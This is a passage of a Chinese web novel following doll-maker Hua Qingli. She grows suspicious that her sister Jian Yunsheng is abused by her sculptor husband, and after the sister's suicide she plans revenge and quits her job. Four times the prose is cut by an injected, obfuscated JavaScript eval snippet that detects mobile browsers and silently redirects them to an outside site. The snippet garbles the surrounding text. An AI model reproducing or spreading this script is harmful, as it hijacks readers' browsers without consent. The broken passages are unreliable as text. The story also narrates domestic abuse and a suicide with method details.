“当然是陪你看展啊！”沈确搂着花清漓的细腰朝一个独立展厅走去。 这个展厅里只有一个展品。那是一个名为“恐惧之形——《萨拉菲娜Seraphina》”的雕塑作品。作者正是应如风。 雕塑诠释的是一位女性被荆棘束缚挣扎无果，满怀恐惧却无能为力，直到被荆棘勒死的状态。 “Seraphina.”花清漓看着这个令人不适的雕塑，小声地呢喃着这个名字。 “花清漓？”一个耳熟的女声吸引了两人的注意力。 29.29 被叫到名字的花清漓循声看过去，眼睛一亮，冲着来人笑道：“姐姐！” 来人正是菅云笙，是她雕刻师父菅云舒的女儿，亦是与她自幼一同长大的姐姐。只可惜自从去年菅云笙与雕刻家应如风结婚后，两人就没再见面了。 菅云笙套着一件黑色的女士西服，下半身是一条包臀长裙，长发盘在脑后，面色虽有些憔悴，但依旧难掩美丽。 “小少爷也在啊！”菅云笙瞥了一眼花清漓身旁的沈确笑道。 “云笙姐，好久不见了！”沈确搂着花清漓冲菅云笙打招呼。 菅云笙看到二人如此亲密，随口问道：“你们俩真是感情越来越好了。小时候你们还经常吵架呢！” 花清漓抬眸扫了一眼沈确，尴尬解释道：“我们哪有经常吵架……” “对了，云笙姐，”沈确环视一圈，“你怎么会在这儿？应如风那家伙没和你一起来吗？” 听到应如风这个名字，菅云笙脸上的笑容一僵，尴尬道：“他啊，估计知道你们不喜欢他，所以就先去见客户了。其实这个展就是他设的。” “这样啊。”花清漓松了口气。她确实很讨厌应如风。当年这家伙追姐姐的时候，她就觉得这家伙根本配不上姐姐。姐姐那么漂亮还那么温柔又有才华，真不知道怎么会嫁给应如风这个“河童”。她从来都没有觉得应如风作为一个男的有什么值得姐姐喜欢的优点。 菅云笙抬手拍了拍花清漓的脑袋道：“有时间一起吃饭吧！我最近刚从玉龙雪山回来。那边正好下了一场大雪，很美。” “今天不可以吗？”花清漓上前抱住菅云笙的胳膊晃来晃去，就连语气也不自觉地带了点撒娇的意味。 菅云笙无奈笑道：“好吧。我陪你们逛街，晚上再带你们一起去吃饭怎么样？” “好啊！”得到姐姐同意，花清漓心满意足地眉开眼笑。 “你们中午想吃什么？姐姐请你们！”菅云笙反手挽住花清漓的手臂笑着问。 “我知道附近有家法餐厅很好吃，不介意的话我们一起过去？”沈确提议道。 “可以啊！”菅云笙点头答应，让沈确带路。 三人一并朝着美术馆门口走去。 半路中，看见几个搬运装置的员工。他们推着运货用的手推车，上面还摆着一摞路障A字牌。 在经过一个长廊的拐角处，那摞路障A字牌却由于转弯的惯性从而滑倒在了地上，发出的声响在安静的美术馆中显得格外响亮。 花清漓也被这突如其来的声响惊了一下，回头去看时，却意外撇见身旁的菅云笙惊恐地看着那摞路障牌的方向，在反应过来那只是一个路障牌倒下的意外后，才努力地调整好了自己的情绪。 这不是普通人被声音吓到的正常反应。花清漓看着菅云笙，察觉到她既然害怕突如其来的声响，是不是代表类似的声音出现在她生活中时，往往伴随着让她更加恐惧的事情呢？ 花清漓思考着，任由菅云笙挽着自己走出美术馆。 三人在附近逛了一圈，天色已不知不觉地暗了下来。 天空中飞过成群的乌鸦，宣告着黑夜的降临。 沈确陪着两人从街头逛到街尾，彻底沦为了两人的随行助理，一路都在帮两人提东西、结账。 最后，三人抵达了沈确说的那家法餐厅。 这是一家法式花园餐厅。由店主的私人庄园所改造而成。每张桌上都插着不同品种的鲜花，椅子的椅背上也装饰着由白色网纱系成的蝴蝶结。就连喷泉也被用作造景设在了室内。 这会儿餐厅里用餐的客人不多，三人入座后各自点了菜品。 “这里环境倒是很讨女孩子们喜欢。”菅云笙环顾四周，对着沈确评价道。 “喜欢就好！”沈确看着菜单，给花清漓点了一份鹅肝惠灵顿配黑松露骨汁，又顺便询问了菅云笙的口味。 菅云笙随便点了一份橙香鸭胸，随口对着花清漓问：“漓漓，你们俩什么时候在一起的？” “嗯？”花清漓没想到菅云笙问得这么直接，回想起昨晚的经历，尴尬得连耳尖也微微泛红。 一旁许久不说话的沈确点好菜替她回答：“就今天开始的。” 菅云笙对于沈确的诚实哭笑不得，道：“还没告诉你们爸妈对吧？” “没必要告诉他们。”花清漓说话的间隙，侍应生正好端着菜品给三人上菜。 “谢谢。”花清漓习惯性地对侍应生道谢后，随手拿起刀叉开始切鹅肝。 主菜和点心上齐后，花清漓拿起叉子随手就将沈确盘子里的蔬菜挑了个干净。 看到花清漓的举动，菅云笙忍不住调侃道：“你们俩不愧是从小一起长大的，同龄的小孩一起长大就是好啊，不管做什么都特别了解对方。说起来，林言蹊那家伙跟我同岁，小时候明明也经常和我一起玩，却一点都不了解我。亏我小时候还喜欢跟在他屁股后面呢！” “晚上应如风那家伙会来接你吗？”花清漓吃了一口鹅肝问菅云笙。 “我倒不希望他来接我，”菅云笙嘴角勾起一个没有温度的笑，“他最近几个月都忙着今天这场展览的筹备工作，有时候会在家里忙到很晚。你也知道，瓶颈期很难熬。” 花清漓闻言，又问：“那这个萨拉菲娜美术馆是最近的新合作吗？” 菅云笙摇摇头：“不是的。萨拉菲娜美术馆的主理人是应如风本人。里面的一切都是他在打理。最近他也把自己的雕塑放进了美术馆，就是你们今天看到的那个与美术馆同名的雕塑作品。” “他居然还能当上主理人？”花清漓小声嫌弃道。虽然声音不大，但清楚地落入桌上另外两人的耳朵里。 菅云笙也不生气，只是翻开手机屏幕看了一眼，脸色变了变，但很快又装做一脸平静地朝着花清漓提醒道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337739|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他一会儿也要过来。” 花清漓默默观察着菅云笙的表情，每次在提起应如风的时候她的脸色都不好，总是挂着一副勉强挤出来的笑容，特别别扭。 过了约莫五分钟，门口走进来一个穿着山本耀司刺绣乌鸦衬衫的男人。他手里提着一杯新买的茉莉椰汁奶茶，先是在门口停下四处张望了片刻，在看到菅云笙后，才朝着花清漓等人的方向过来。 “好久不见了Evelyn，我记得你们女孩子都喜欢吃甜食啊！”应如风在菅云笙身侧坐下，将手里的奶茶朝着花清漓递过去。 花清漓半点面子都不给，拒绝道：“谁跟你说的？我最不喜欢吃甜食。” “哦！不好意思了，Evelyn。”应如风有些尴尬地抱歉道，询问沈确：“Evelyn不爱吃甜食，我给你们云笙姐买了杨枝甘露，我平常也不爱和奶茶，要不给你吧？” 花清漓听到“杨枝甘露”四个字，不等沈确拒绝，抬起头不悦地冲应如风道：“姐姐对芒果过敏，你们不是结婚了吗？你居然不知道？还是说你是故意的？你们都结婚四年了，你装也给我装得像一点好吗？” 一段话将在场的气氛瞬间变冷。 应如风看着花清漓，尴尬地笑了笑，解释道：“哦，是我说错了。怪我！这个是给你和''小少爷''买的。” 花清漓才懒得听他解释。什么人会在结婚四年都记不住自己妻子对芒果过敏？啧。 见花清漓冷了脸，菅云笙连忙打圆场道：“漓漓，好啦，不要生气了！快点吃饭吧！” 切。花清漓更加坚定了自己内心的想法，这个应如风就是有问题。自从和姐姐谈恋爱的时候开始，她就莫名讨厌应如风。后来听到姐姐和他结婚，花清漓更是对他嫌弃至极。再加上姐姐婚后因为这家伙的关系，和家里人也很少联系。 别人都说这是应如风对姐姐的占有欲。可花清漓觉得这根本就是变相地控制姐姐。 从小到大关系本该很亲近的姐妹俩却因为这个男人的介入而不得不疏远了，这叫花清漓如何能不讨厌这家伙。 自从应如风这家伙开始追求姐姐后，花清漓就很难再和姐姐一起逛街。后来两人谈婚论嫁后，菅云笙更是从家里搬了出去。还辞去了雕刻老师的工作，就是为了陪应如风这个家伙到处办展。 明明姐姐也可以成为一个很耀眼的雕刻家，凭什么会心甘情愿地留在一个男人身边做陪衬？花清漓如此根本无法理解。 花清漓甚至有时候觉得这个应如风根本就是一只癞蛤蟆变的。或者是根本就是一个吸血鬼变的。 这几年来，应如风在凭借雕刻出“恐惧”情绪雕塑而在艺术圈出名。美术馆里那些令人不适的雕塑多半都是出自应如风之手。 不知道这次展出的“Seraphina”灵感来源又是谁。用他人的痛苦作为自己艺术的灵感来源这本身就是一件残忍至极的事。 30.30 晚餐凝聚着一股奇怪的氛围。 在用餐结束后，花清漓起身与菅云笙夫妻俩道别：“我和沈确先回去了。姐姐也回去吧。” 菅云笙有些不舍地抬眸看着花清漓道别：“也好。漓漓，让沈确先送你回去吧。我们走了，下次有机会来姐姐家里玩！” “好。姐姐再见，过几天我去姐姐家玩。”花清漓随手挽住沈确的手臂与夫妻俩道别。 离开餐厅，花清漓有些心不在焉地挽着沈确散步。 注意到花清漓有心事，沈确问：“怎么了？” 花清漓脑海中回想着刚才与菅云笙夫妻俩相处的场景，推理道：“我总觉得有些不对劲。应如风明明知道姐姐对芒果过敏，结婚两年，如果他们感情真的很好，不可能记不住这种事。就像你对蔬菜过敏，吃到了蔬菜会休克。其实姐姐也是，她吃到芒果也会休克。当了这么几年的夫妻，应如风怎么可能连这么重要的事情都记不住。所以我才觉得怪怪的。而且，在美术馆里，路障牌倒下的声音居然会让姐姐感到这么害怕？平常人最多被吓一跳，她却会因为这突如其来的声响身体颤抖。除非这种声音在她生活中对她来说，往往伴随着让她恐惧和痛苦的事情。姐姐以前可不是胆小的人。” 她说完，看向沈确道：“你会不会觉得我太杞人忧天了？总是把事情往坏处去想？” 沈确摇摇头，宽慰道：“这只能说明你很关心云笙姐。你要是不放心，改天找机会去她家看看她吧？” “嗯。我是准备找时间去姐姐家看看。”花清漓点点头，挽着沈确朝家里走去。 - 隔日，一连多日的大雨让闷热的天气凉爽了不少。太阳也出来了。花清漓早早起床，一如既往地回到DH&D上班。 办公室里，南流景抱着一份文件迎上前来递给花清漓：“这是Cade早上让人送来的合同，师父已经看过也签好了，他让我把附件转交给你。” “是吗？”花清漓接过文件扫了一眼，上面的条例都很眼熟。 她看完，将合同附件收好道：“那我们今天就要开始把我们的人偶送去停雲阁开始布展了。” “是的。”南流景道，“我已经整理好了一批，就是你之前列出来的。但是有一只限定的螺钿系列被送过来展出了。” 花清漓听到许久未闻的螺钿系列，有些惊讶：“哎呀，我做的这个系列不是被放在博物馆吗？这个系列每只人偶我明明只做了一个，有收藏家买了吗？我怎么没印象？” “博物馆那边说这只不是当年送到博物馆那批里的。应该是被买家拍下作为个人收藏的藏品。那位买家联系了博物馆方，让他们帮忙送过来。”南流景解释道。 “这样啊。”花清漓叹了口气。她只记得这个系列的作品大多都租给了博物馆，自己每年收到的押金也是一笔可观的费用。久而久之让她忘了这个系列一开始是允许拍卖的，也有收藏家会收藏这些精美的娃娃。 “那走吧，我们去停雲阁。”花清漓起身，拿上包与南流景一同出发。 停雲阁不在申城，而是在泉亭。是一处占地2500平方米的园林，始建与清代。价值2亿人民币，是师父菅云舒祖传的园林。如今已成为开放式的景区，自家人进门需要刷卡，游客参观则需要买票。 说到祖传，正是因为菅云舒祖上是皇室御用雕刻工匠。传承至菅云舒已是第五代，165年间从未间断。 从申城到泉亭，开车有两个半小时的路程。花清漓不会开车，只好打车。 她带着南流景一起坐上了前往泉亭的出租车。半路上，顺便给沈确打了个电话报备。 其实她也不习惯做什么都要和沈确说，但她今天总是莫名觉得有些不对劲。她说不上来这种感觉到底是为什么，但却莫名会想起菅云笙与应如风夫妻俩。 花清漓靠在车窗上，对着电话里的沈确道：“晚上等我回去后，要不要再约姐姐来看我们的人偶展？” “那就要看云笙姐有没有空了。”沈确道。 “嗯……”花清漓认同道，没有再继续这个话题。随便聊了几句后，在下高速时挂断了电话。 随着出租车这停雲阁景区门口停下。下了车，花清漓从包里拿出一张卡朝着门口的闸机上刷卡进门。 闸机的声响惊醒了一旁保安亭里打瞌睡的保安。 保安出来时，看见花清漓奇怪道：“这位客人，进去是要买票的。您的通行卡是哪来的？” 花清漓收起手中的通行卡，解释道：“菅云舒老先生是我师父，我的通行卡是他留给我的。我们几个徒弟都有。” “原来是菅云舒老先生的徒弟！我是刚调过来的，没见过你们，见谅啊！”保安笑道。 “没事。”花清漓笑道，“这几天要筹办人偶展，来来往往的人很多吧？” “是的，菅云舒老先生给参加人偶展的人型师们都发了专属的证件，你是花清漓小姐吧？这是你的通行证。”保安说着，将一个通行证吊牌递到了花清漓的手里。 “谢谢你！”花清漓接过通行证，随手戴在脖上。 花清漓与沈确一同进入停雲阁，看见了不少人型师在布置自己的展位。其中有几个是花清漓的老熟人。 “好久不见了，Evelyn！” “好久不见！”花清漓一边礼貌地回应着他们，一边朝着师父给自己留的展位走过去。 花清漓的展位在小阁楼。 这间小阁楼曾经是菅云舒给花清漓收拾出来住的小房间，经过花清漓当学徒在此住宿的中学时光，原本空旷的小房间经过花清漓的打造，变成了一间温馨的极繁主义小窝。在离开师父家之前，花清漓非常喜欢自己的房间。 房间的地面上，铺着米色的地毯。随处可见的是各种尺寸、不同材质的手工娃娃。这些娃娃大多出自人型师慕云重之手，还有一部分是林言蹊和花清漓在学习期间做的。当年她在师父家学雕刻，认识了慕云重老先生。也是因为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338183|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己房间里的娃娃，花清漓才慢慢走上了人型师这条路。 房间作为展厅之一，房门处也设立了拦截装置。 花清漓站在房间门口，看着房间里的装潢怀念道：“回到这里，好像又回到了小时候和师兄一起学做人偶的日子。我真的很喜欢我当年的这个房间，里面的每一个娃娃、包括娃娃们的衣服、假发、眼珠都是我们亲手做出来的。” “云笙姐没有被你们一起做过娃娃吗？”沈确搂着花清漓的肩膀问。 “她是专攻雕刻的，不太喜欢做这些娃娃。”花清漓回忆道。 她说完，挽着沈确的手臂朝着楼下的大厅走去。 大厅里有着三两个人型师在布置各自的展位。 花清漓的注意力被一只连体人偶吸引。 那是一只两分尺寸的半身人偶胸台。最有意思的，是人偶的腹部做了镂空雕花窗设计。 两只人偶的脑袋上戴着金色的牛奶丝假发，脖子上个字戴着一条双层珍珠项链。 花清漓环视周围，发现今天展出了不少相同尺寸的半身人偶胸台。看得出来，这些都出自同一位人型师。 “师姐！”南流景的声音从身后传来，花清漓循声回过头。 “你刚刚去哪了？怎么一下车就跑没影了？”花清漓看着突然出现的南流景道。 “我到后院去晃了一圈，看到你做的六翼天使也被送来展出了。”南流景指着门外道。 “＇餐桌上的塞布丽娜''也在吧？我让人一起搬过来了的。放在哪儿了？我来布景。”花清漓看着南流景问。 “在餐厅那边。”南流景指了指不远处的隔间提醒道。 “我看看。”花清漓兴奋地加快脚步朝着餐厅走进去。 餐厅里，灯光有些暗。一张木质西餐桌上，人鱼静静地躺在桌布上。 人鱼的周身散落着大小不一的珍珠。人鱼胸腔里的可拆卸器官也被掏出来，摆在了桌面上的餐盘中。 花清漓看着自己的作品，忍不住抬手轻轻抚摸了一下人鱼的脸颊。冰冷的石塑粘土在花清漓的手下被赋予生命，变成了各种精致的人偶。这些人偶于花清漓而言，就像是自己的孩子一样。 “我还是第一次看到你改造后的新人偶。”沈确双手抱胸，站在花清漓身后感叹道。 “因为我改造完这只人偶，第二天就把她送到这边来了。今天算是她第一次在众人面前亮相吧。”花清漓收回手笑道。 “为什么给这只人鱼设计这么个造型？”沈确靠在一旁的柱子上问。 “因为，”花清漓来到餐桌旁唯一一张椅子上坐下，随手拿起桌上的餐具，摆出准备用餐的姿势讽刺地笑道：“我亲爱的塞布丽娜啊，河流中的精灵、自然的奇迹！长生不老的她用自身的力量净化这被污染的湖泊。只可惜她爱上了经过湖泊的王子。甜言蜜语的王子知晓人鱼肉长生不老的传说，可怜的塞布丽娜就这么成为了男人的盘中餐。多么可笑又可悲？你说是吗？” 31.31 沈确知道花清漓向来喜欢各种童话故事。塞布丽娜，是河流精灵。而萨拉菲娜，是火焰的意思。可是应如风为什么要给那个雕塑起这个名字？真奇怪。 “我们去别的地方逛一逛吧。”花清漓转身挽着沈确的手臂，朝着楼下大厅走去。 楼下大厅的展位很多，人偶风格迥异很是吸睛。 两人在停雲阁把所有展位都逛了一圈后，天色也渐渐暗淡。 傍晚回去的路上，花清漓坐在车里看着窗外不断变化城市街景发呆。 和姐姐菅云笙见面后，她总觉得心里空落落的。 - 第二天早上，太阳照常工作。但看起来似乎有些消极怠工。天依旧阴沉沉的，似乎下一刻就会下起雨来。 花清漓一身墨绿色扎染衬衫，下身是一条深灰色西裤，上身再搭上了一件黑色西装外套。只不过这件黑色的西装外套原本是沈确的。 她把长发用鲨鱼夹盘在脑后，随意化了个淡妆就先行前往DH&D上班。 捧着咖啡迈进工作室时，却看见Gwen神色凝重地捧着一叠文件往自己的工位上走。 花清漓随手拦住路过的Gwen问：“你们怎么了？一大早就死气沉沉的？今天不是会发《怪诞童话镇》这个项目的奖金吗？难道你们有什么意见？” Gwen抬头扫了一眼老板办公室，叹了口气道：“早上我来的时候，看见你师父匆匆忙忙地从办公室里拿了一些证件就走了。他看起来脸色非常差。还跟我说，让你一会儿去中心医院找他。” “师父生病了吗……”花清漓看向办公室呢喃道。 “他看起来脸色确实很差。”Gwen补充道。 “那我现在就去中心医院。”花清漓说着，拿上包转身就走。 抵达医院时，花清漓先是给师父打了个电话，询问他的具体位置。 “漓漓，”菅云舒的声音听着沙哑又疲惫。 “师父，您身体怎么了？您在哪个科室？”花清漓站在医院大厅朝着电话里问。 “我在太平间。笙笙也在。” “什么意思？”花清漓震惊地愣在原地。是她理解错了吧，这父女俩怎么会来医院太平间呢，遛弯吗？ 她勉强控制着自己不胡思乱想，匆匆朝着医院的太平间过去。 太平间的走廊外，只有一位护士站在门口。 花清漓上前询问护士：“你好，你有没有看见一个老人家，男性，身高大概一米八一。” 护士闻言，回过头看了一眼太平间道：“他的女儿今天刚刚被送过来。他在里面见他女儿最后一面。” “什么？”花清漓惊恐地瞪大了眼睛。什么意思？师父的女儿不就是菅云笙姐姐吗？明明昨天还好好的，骗人的吧？ “骗人，姐姐怎么会突然就躺在里面了？”花清漓看着太平间那扇银色大门，满脸的不敢相信。 她朝着摆满冰棺的太平间里走进去，每一步都仿佛踩在刀尖上。 太平间冰冷的空调让她汗毛倒立。 花清漓在护士的带领下，来到了写着“菅云笙”的抽屉前。 看着护士打开抽屉，掀开白布，菅云笙苍白又伤痕累累的遗体就这么出现在花清漓的面前。 明明前一天还和自己逛街的姐姐，怎么今天就变成一具冰冷的尸体了呢？ “她的死因是什么？”花清漓木纳地看着菅云笙的遗体，问护士的声音也止不住颤抖。 “法医鉴定死者生前吞服了大量的药物，各种各样的都有。同时还割腕，死因是失血过多和药物过量导致的心肺衰竭。”护士回答道。 光是听到这样描述就能想象到姐姐生前的痛苦。 看到菅云笙伤痕累累的遗体，她又问：“那这些伤，法医是怎么说的？” “是死者生前受到长期的暴力对待，日积月累造成的。这可能也是致使她走上绝路的原因。”护士解释道。 花清漓没有说话，也哭不出来。默默地转身朝着太平间外走去。 “长期受到暴力对待”？花清漓听到这句话时，脑海中突然浮现出菅云笙那天在美术馆被倒下的路障牌吓到的场景。原来姐姐的一举一动，和她这些天来的不安都预示着今天吗？如果那天离开美术馆后，她也一直和姐姐在一起是不是就不会发生这种事？ 菅云笙自从结婚后就渐渐少了与朋友和家人们的来往，这些年她都与丈夫应如风住在一起。 除了应如风，她实在想不到有谁会把姐姐变成这样。 她没听见周围有什么人还说了些什么，迈着虚浮的脚步，扶着医院冰冷的墙面来支撑着自己的身体朝外走。 太平间外的走廊里，菅云舒坐在椅子上，沉默地垂着头。 花清漓来到师父身旁坐下。 她看不清师父脸上的表情，却看见师父灰蓝色的裤子上，滴落的泪水留下的泪痕。 师徒俩坐在椅子上，沉默了许久。 随着漫长的沉默，菅云舒缓缓抬起头对自言自语道：“四年前，我的儿子因公殉职；四年后，我的女儿却因病自尽。我造了什么孽要这样惩罚我……要索命就索我的命，为什么要让我女儿受这种痛苦……” 他说话时声音沙哑，泪眼婆娑。 花清漓陪在师父身边一直坐到傍晚，中午的时候出去给师父买了饭菜，但菅云舒始终没有动过筷子。 医院走廊外的天空残阳如血。 她的手机里传来沈确发来的消息，问她晚上想吃什么。 花清漓没心情想这个。她只觉得自己的心中憋着一团气，想要痛哭、愤怒地发作，但她此刻却什么情绪都表现不出来。 最终，在漫长的沉默后，花清漓起身对师父道：“姐姐的丧事我会帮忙操办。”至于应如风，他必须和姐姐曾经一样痛苦才行。 菅云舒听到花清漓的话，沉默着点点头，抬手示意让花清漓先行回去。 花清漓与师父道别后，朝工作室赶了回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368720|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 回到工作室，大家大多都已下班去吃晚饭。只有两三个人还在工位上加班。 “Evelyn？吃过晚饭了吗？要不要一起去？最近附近有一家新开的披萨店，超好吃！”路过的Mavis抱着手机，在看到花清漓的时候停下脚步问她。 “抱歉，我今天没心情。”花清漓神色空洞，有气无力道。 “啊？难道昨天你们的展览出什么意外了吗？”Mavis惊讶道，她不知道除了工作还有什么事能让Evelyn愁眉苦脸的。 花清漓听到Mavis的话，愣了一下才道：“没事。最近有什么新项目吗？” “暂时没有了，大家都在做上一批发售的人偶。”Mavis回答道。 “怎么这样……”花清漓有些失望。如果能有工作，她就不会每时每刻想到姐姐了。 既然如此，那还不如辞职，按照自己之前的想法，自己开店。 花清漓这样想着，走进自己的办公室，从抽屉里拿出一张纸放在打字机上，三两下写完了自己的辞职报告。 花清漓把打印好的辞职报告装在白色的信封中，塞在了办公桌的抽屉里。 她还没有下定决心把这份辞职报告交给师父。因为，如果能借着这个机会，正式脱离DH&D反倒是件好事。她可以带着自己这些年攒下来的钱开一家小工作室，再也不用参与到这些乱七八糟的纷争之中。 她是师父亲手调教出来的人，就连手段和喜好都和师父很像。她想过，她会把最有实力、最有野心的人全都留在身边，并且在这些人和自己之间，再设立一个挡箭牌。正如当下自己在DH&D的位置一样。 想到这里，花清漓就觉得累得头疼。 她将自己的东西一件一件地收拾好，放进了自己当初用来搬东西的杂物箱里。 DH&D从来都和她的家一样，所以东西格外地多。 她知道自己今天是搬不完的，因此只拿上了自己的笔记本电脑、平板和一些新品的设计手稿。 晚上下班的时候，待到众人都离开后，花清漓才抱着自己的箱子走出工作室。 只是她没想到，刚乘着电梯抵达一楼，就看见沈确背对着电梯摆弄着手机。 电梯停靠的提示音惊动了沈确。只见他缓缓转过身，与花清漓正好对视。 沈确看到花清漓抱着箱子，愣了一秒才道：“你这是辞职？还是帮你师父搬东西？” 花清漓低头看了一眼自己手中的箱子，解释道：“我想过了，继续待在这里和那几个无聊的男人斗来斗去只会浪费我的时间。没有任何意义。姐姐去世了，最近要办丧事，我也要去守灵。最近接下来几个月工作室都不会接新项目，我留在这里也没什么意义。所以我就在想，或许我可以用我这些年攒下来的钱开一个小店。没有职场权斗、没有拉帮结派，简简单单地大家一起把人偶做成一个独特的风格。做出属于我们自己的标志。我是这样想的，你觉得呢？” 32.32 她说完，在心里自嘲地笑了笑。 刚刚这番话里，有一句假话。但这一句假话，夹在真话中间，也自动让人忽略了它的真实性。 沈确主动替花清漓拿了东西，问她：“既然想开店，那就要先找个商铺租下来才行。需要我帮忙吗？” “如果你能出面帮我找的话那当然最好了！我相信你的眼光。”花清漓挽住沈确的手臂道。 “好，等云笙姐的丧事办完，我再帮你找。”沈确道。 交谈之际，沈确陪着花清漓出了大楼。两人在路边随手拦下一辆出租车，上车后，花清漓假装随口问沈确：“家里还有酒吗？” “借酒消愁？”沈确抬手将花清漓搂进怀里，安慰道：“可以，回去我陪你喝。” 花清漓没有应声，只是找了个舒服的姿势靠在沈确的怀里发呆。 到家的时候已经很晚了。刚才下车后，两人在小区门口的便利店买了瓶酒精度40%的VSOP白兰地带回家。 两人一进屋就各自去洗澡。 待到花清漓穿着睡衣从房间里出来时，沈确早已洗漱完，套着一件黑金色的浴袍坐在客厅落地窗前的地毯上喝酒。 花清漓一身香槟色吊带睡裙，长发随意地批在肩上从房间里出来。 她看着沈确微醺的背影，心中萌生出了一个计划。只可惜，沈确要再一次沦为自己的掌中之物了。虽然有点对不起他，不过这个计划足以让自己脱离DH&D，脱离师父的掌控，还有那群无聊的男人们的纷争。 花清漓的眼中闪过一抹狡猾的光芒，随即又装作伤心麻木的样子上前夺过沈确手里的酒瓶，仰头将瓶子里的酒饮了一半。 沈确被花清漓突如其来的举动吓到，连忙将她手里的酒瓶抢回来：“你疯了？哪有你这么喝的？” 花清漓垂着眸，脸颊因为酒精的作用瞬间开始泛红。就连身体也开始变的松弛无力。但即便如此，她的脑袋却清醒得可怕。 所谓演戏就要演全套。花清漓深知这一点。 见她摇摇晃晃地跪坐在地毯上，沈确上前扶住她的腰，嘴里还絮絮叨叨地说着：“你酒量不好怎么能这么喝……” 花清漓懒得听他唠叨，顺势将沈确反手按在地上，翻身跨坐在他的腰间，俯身堵住了沈确的双唇。 仗着酒意，花清漓肆意地在沈确的身上上下其手。 在一段缠绵的亲吻之后，沈确松开搂着花清漓腰的手臂，将她推倒在地毯上。 沈确只觉得今晚的花清漓，比前几次都要缠人。 两人从客厅一路到了沈确的房间。一直折腾到凌晨，花清漓才吵着闹着要去洗澡。 最终，沈确抱着花清漓坐在浴缸里和她一起洗了澡。天空蒙蒙亮起之时，沈确才抱着睡着的花清漓回到床上。 接下来的日子，花清漓干脆请了一个月的假在家荒度时光。 沈确则照常上班，到了周末，他经常白天带着花清漓到处散步溜达，晚上则被花清漓缠着。几乎每一晚都与沈确如此度过。 白天花清漓总是睡到很晚，沈确则照顾着她的饮食起居。 - 花清漓暗自掐着时间，一晃过了一个半月。 这天一早，花清漓早早起床准备去上班。根据劳动法，递交辞职信后要干满一个月。所以她还得回到工作室去。 沈确担心她的心情还没有调整好，问：“真的没关系吗？要不要再休息几天，我带你去春城看雪山？你不是很喜欢雪山吗？” 花清漓却笑着摇摇头：“不用了，等我把这个月的工作交接完吧。” “也行。”沈确没有再拦着她，起床准备给花清漓做早餐，却被她拒绝。说自己会在去的路上买早餐吃。沈确无奈，只好由着她。 花清漓换了身UmaWang的钥匙长袍，内搭一件宽松版黑色吊带裙。长发随意地披在肩上，背着中药扎染的手工刺绣包回到了DH&D。 由于花清漓今天特意没有化妆，脸色看起来有些憔悴。工作室的同事们都知道是为什么，索性都默契地不去提任何让花清漓伤心的事。 “Evelyn，”Mavis捧着一叠文件上前来，向花清漓汇报最近的工作，“上次送去参展的那批人偶在买家们的要求下即将进行限时返场上架。我们今天会做一个返场预告的直播，景爷说你既然回来了，就由你这位人型师本人来给买家们介绍最近返场的人偶。” Mavis说着，将一份产品清单递给花清漓。 “知道了，谢谢。”花清漓接过产品清单看了一眼，里面有几款都是早期的限定。比如枯叶蝶，以及人马系列、蜘蛛人系列、机械体人造人，这些都将在今天一并返场。 “返场清单是师父列的，还是客服统计的？”花清漓看着产品清单问。 “客服统计的。老大过目后敲定的。”Mavis如实回答道。 “好，准备直播吧。”花清漓走进直播间，调整好手机和投影仪。 “直播马上开始，3，” “2，” “1。”伴随着市场营销总监Freemon的提示，直播间正式开启。 花清漓和Gwen担任今天的讲品官。 “欢迎各位亲爱的朋友们！我们DH&D合并后的第一场预售直播正式开始！”Gwen与花清漓并排而坐，一同看着对面墙上的投影仪投影的直播间场景。 直播间的粉丝们见到花清漓久违的身影，纷纷向其打招呼： ——我靠！亲妈回归！ ——Evelyn终于回来了？是有新品要上了吗？ ——早期的限定就不能浅浅返场一次吗？求求了～ ——新品预售？麻麻你真能生！ 花清漓看着投影屏上的弹幕，一一回应道：“感谢大家的支持。我们刚刚参加了一场人偶展，不知道大家有没有来参观呢！ “嗯……＇有没有新品＇？最近在筹备了，相关消息请大家注意官博的宣发！ “至于早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花清漓看到弹幕上有人问价格，于是开口介绍道：“这套枯叶蝶是4分的尺寸，裸娃单价1928，大全套有A、B两个妆面可供选择，普肌大全套价格是2860。我们将会开放特殊肤色——灰肌和绿肌，购买这两个肤色会另外加收300元的妆费……” 在经过花清漓长达十五分钟的人偶介绍与购买方式介绍，时间不知不觉地到了中午。 同事们纷纷点来外卖。 Gwen与花清漓一起讲品讲得也有些累了，休息时段，两人让同事替自己点了外卖。 